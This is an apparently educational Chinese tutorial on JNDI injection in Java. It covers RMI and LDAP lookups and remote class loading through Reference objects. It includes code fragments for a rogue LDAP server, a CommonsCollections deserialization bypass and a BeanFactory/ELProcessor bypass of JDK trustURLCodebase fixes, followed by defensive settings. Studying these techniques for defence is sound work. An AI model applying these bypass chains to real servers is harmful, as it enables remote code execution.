JNDI注入学习
字数 1328 2025-08-24 16:48:16

JNDI注入全面解析与实战指南

一、JNDI基础概念

1.1 命名与目录服务

  • 命名服务:将名称与对象关联,通过名称查找对象(如DNS将域名解析为IP)
  • 对象引用:某些对象不能直接存储,而是存储其引用(指针/地址)
  • 上下文对象:一组名称到对象的绑定集合,提供查找、绑定、解绑等操作
  • 目录服务:命名服务的扩展,将对象与属性关联(目录服务=命名服务+属性对象)

1.2 JNDI概述

Java命名和目录接口(Java Naming and Directory Interface):

  • 提供统一的API访问各种命名和目录服务
  • 独立于具体目录服务实现
  • 支持RMI、LDAP、DNS等多种协议

二、JNDI基础使用

2.1 JNDI+RMI示例

// 定义远程接口
public interface IRemote extends Remote {
    public String sayHello(String keywords) throws RemoteException;
}

// 服务端实现
public class IRemoteImpl implements IRemote {
    public String sayHello(String keywords) {
        return "Hello " + keywords;
    }
}

// JNDI服务端绑定
InitialContext context = new InitialContext();
context.rebind("rmi://localhost:1099/remoteObj", new IRemoteImpl());

// JNDI客户端调用
InitialContext context = new InitialContext();
IRemote iRemote = (IRemote) context.lookup("rmi://localhost:1099/remoteObj");
iRemote.sayHello("user");

三、JNDI注入原理

3.1 通过Reference对象注入

  • Reference类:封装不能直接存储的对象
    • 参数:类名、工厂名、工厂地址
  • 利用流程
    1. 服务端绑定Reference对象
    2. 客户端lookup时自动加载远程类
    3. 触发静态代码块或构造函数执行恶意代码

3.2 底层机制

  1. 服务端rebind

    • 将Reference转换为ReferenceWrapper
    • 通过RMI注册表存储
  2. 客户端lookup

    • 获取ReferenceWrapper_Stub
    • 解码为Reference对象
    • 调用NamingManager.getObjectInstance加载类
  3. 类加载过程

    • 先尝试本地加载(AppClassLoader)
    • 本地不存在则从codebase远程加载(URLClassLoader)

四、JNDI/LDAP注入

4.1 LDAP服务搭建

// 使用Apache Directory Studio或代码创建LDAP服务
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1/#testRef")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();

4.2 客户端触发

InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:7777/testRef");

4.3 流程差异

  • 使用LdapCtx而非RMIURLContext
  • 最终同样通过NamingManager.getObjectInstance加载类

五、JDK版本限制与绕过

5.1 安全修复版本

  • JDK6u132, 7u122, 8u133:限制RMI远程加载
  • JDK11.0.1, 8u191, 7u201, 6u211:限制LDAP远程加载
  • 修复方式:设置trustURLCodebase默认为false

5.2 绕过方式一:反序列化

// 服务端设置javaSerializedData属性
e.addAttribute("javaSerializedData", CommonsCollections5());

// 客户端触发反序列化
context.lookup("ldap://127.0.0.1:7777/testRef");

利用条件

  • 目标存在可利用的反序列化gadget
  • 使用commons-collections等链

5.3 绕过方式二:BeanFactory

// 服务端代码
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("c", "Blue"));

关键点

  • 设置factoryLocation为null绕过trustURLCodebase检查
  • 利用BeanFactory动态调用方法
  • 通过ELProcessor等本地类执行代码

六、防御措施

  1. 升级JDK:使用最新安全版本
  2. 代码层面
    • 避免使用不可信的JNDI查找
    • 对输入进行严格过滤
  3. 环境配置
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. 网络层面
    • 限制出站连接到不可信服务器

七、参考资源

  1. JNDI注入原理与利用
  2. JDK高版本绕过技术
  3. JNDI References攻击分析
JNDI注入全面解析与实战指南 一、JNDI基础概念 1.1 命名与目录服务 命名服务 :将名称与对象关联,通过名称查找对象(如DNS将域名解析为IP) 对象引用 :某些对象不能直接存储,而是存储其引用(指针/地址) 上下文对象 :一组名称到对象的绑定集合,提供查找、绑定、解绑等操作 目录服务 :命名服务的扩展,将对象与属性关联(目录服务=命名服务+属性对象) 1.2 JNDI概述 Java命名和目录接口(Java Naming and Directory Interface): 提供统一的API访问各种命名和目录服务 独立于具体目录服务实现 支持RMI、LDAP、DNS等多种协议 二、JNDI基础使用 2.1 JNDI+RMI示例 三、JNDI注入原理 3.1 通过Reference对象注入 Reference类 :封装不能直接存储的对象 参数:类名、工厂名、工厂地址 利用流程 : 服务端绑定Reference对象 客户端lookup时自动加载远程类 触发静态代码块或构造函数执行恶意代码 3.2 底层机制 服务端rebind : 将Reference转换为ReferenceWrapper 通过RMI注册表存储 客户端lookup : 获取ReferenceWrapper_ Stub 解码为Reference对象 调用NamingManager.getObjectInstance加载类 类加载过程 : 先尝试本地加载(AppClassLoader) 本地不存在则从codebase远程加载(URLClassLoader) 四、JNDI/LDAP注入 4.1 LDAP服务搭建 4.2 客户端触发 4.3 流程差异 使用LdapCtx而非RMIURLContext 最终同样通过NamingManager.getObjectInstance加载类 五、JDK版本限制与绕过 5.1 安全修复版本 JDK6u132, 7u122, 8u133:限制RMI远程加载 JDK11.0.1, 8u191, 7u201, 6u211:限制LDAP远程加载 修复方式:设置 trustURLCodebase 默认为false 5.2 绕过方式一:反序列化 利用条件 : 目标存在可利用的反序列化gadget 使用commons-collections等链 5.3 绕过方式二:BeanFactory 关键点 : 设置factoryLocation为null绕过trustURLCodebase检查 利用BeanFactory动态调用方法 通过ELProcessor等本地类执行代码 六、防御措施 升级JDK :使用最新安全版本 代码层面 : 避免使用不可信的JNDI查找 对输入进行严格过滤 环境配置 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 网络层面 : 限制出站连接到不可信服务器 七、参考资源 JNDI注入原理与利用 JDK高版本绕过技术 JNDI References攻击分析